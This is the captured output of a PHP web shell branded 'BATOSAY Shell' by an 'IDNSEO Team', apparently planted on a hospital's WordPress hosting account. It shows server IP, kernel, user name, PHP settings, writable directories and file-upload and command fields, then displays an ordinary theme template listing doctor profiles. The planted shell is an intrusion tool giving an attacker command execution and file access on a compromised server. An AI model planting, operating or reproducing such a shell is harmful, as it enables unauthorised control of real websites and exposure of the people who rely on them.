BATOSAY Shell
Server IP : 170.10.162.208  /  Your IP : 216.73.216.181
Web Server : LiteSpeed
System : Linux altar19.supremepanel19.com 4.18.0-553.69.1.lve.el8.x86_64 #1 SMP Wed Aug 13 19:53:59 UTC 2025 x86_64
User : deltahospital ( 1806)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home1/deltahospital/public_html/wp-content/themes/imedica/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home1/deltahospital/public_html/wp-content/themes/imedica//doctor.php
<?php
/*
Template Name: Doctors Profile
 */
global $imedica_opts, $post;
$imedica_main_header_display = redux_post_meta( "imedica_opts", $post->ID, "imedica-main-header-display" );
$imedica_footer_display      = redux_post_meta( "imedica_opts", $post->ID, "imedica-footer-display" );
if ( $imedica_footer_display == null ) {
	$imedica_footer_display = true;
}
if ( $imedica_main_header_display == null ) {
	$imedica_main_header_display = true;
}
if ( $imedica_main_header_display === true ) {
	get_header();
} else {
	get_header( 'blank' );
}
?>
<?php
$current_position = function_exists( 'fw_ext_sidebars_get_current_position' ) ? fw_ext_sidebars_get_current_position() : '';
$top_margin_fix   = redux_post_meta( "imedica_opts", $post->ID, "imedica-top-margin" );
if ( isset( $top_margin_fix ) && $top_margin_fix == true ) {
	$margin_style = 'margin-top: 0;';
} else {
	$margin_style = '';
}
?>
<div class="">
	<div class="imedica-row">
	<div class="<?php echo esc_attr( $imedica_layout ); ?> imedica-container">
		<?php
		$sidebar_pos = $current_position !== 'full' && $current_position !== 'left' ? 'right' : $current_position;
		$cls         = 'with-sidebar col-xs-12 col-sm-7 col-md-8 col-lg-9 ' . esc_attr( $sidebar_pos );
		if ( $sidebar_pos == 'full' ) {
			$cls = 'col-xs-12 col-sm-12 col-md-12 col-lg-12 ' . esc_attr( $sidebar_pos );
		} else {
			$cls = 'with-sidebar col-xs-12 col-sm-7 col-md-8 col-lg-9 ' . esc_attr( $sidebar_pos );
		}
		if ( $current_position == "left" ) { ?>
			<?php get_sidebar(); ?>
		<?php } ?>
		<div id="primary" class="site-content <?php echo esc_attr( $cls ); ?>"
		     style="<?php echo esc_attr( $margin_style ); ?>">
			<div id="content" role="main">
				<?php
$query = new WP_Query(array(
	'post_type' => 'doctor',
	'posts_per_page' => -1,
));

while($query->have_posts()){
	$query->the_post();

?>
	<div class="col-md-3" style="text-align:center;">
	<?php the_post_thumbnail('doctor', array(
		'class' =>'img-thumbnail'
	)); ?>
	<h4><?php the_title(); ?></h4>
	<h6 style="line-height:5px"><b><?php the_field('designation'); ?></h6></p>
    <h6 style="line-height:5px">Department of
		<?php 
			$terms = get_the_terms(get_the_id(), 'department');
			
			foreach ($terms as $term){
				$link = get_term_link($term);
				echo $term->name;
			}
		?>
	</h6>
	<h6 style="line-height:20px; font-size:14px"><a href="<?php the_permalink ();?>">View Profile</a></h6>
	<hr>
	<!-- Custom Post Call Here -->
	</div>
<?php
}
?>
				
			</div>
			<!-- #content -->
			
		</div>
		<!-- #primary -->
<?php
if ( $current_position == "right" || trim( $current_position ) == "" ) {
	get_sidebar();
}
get_footer();

Batosay - 2023
IDNSEO Team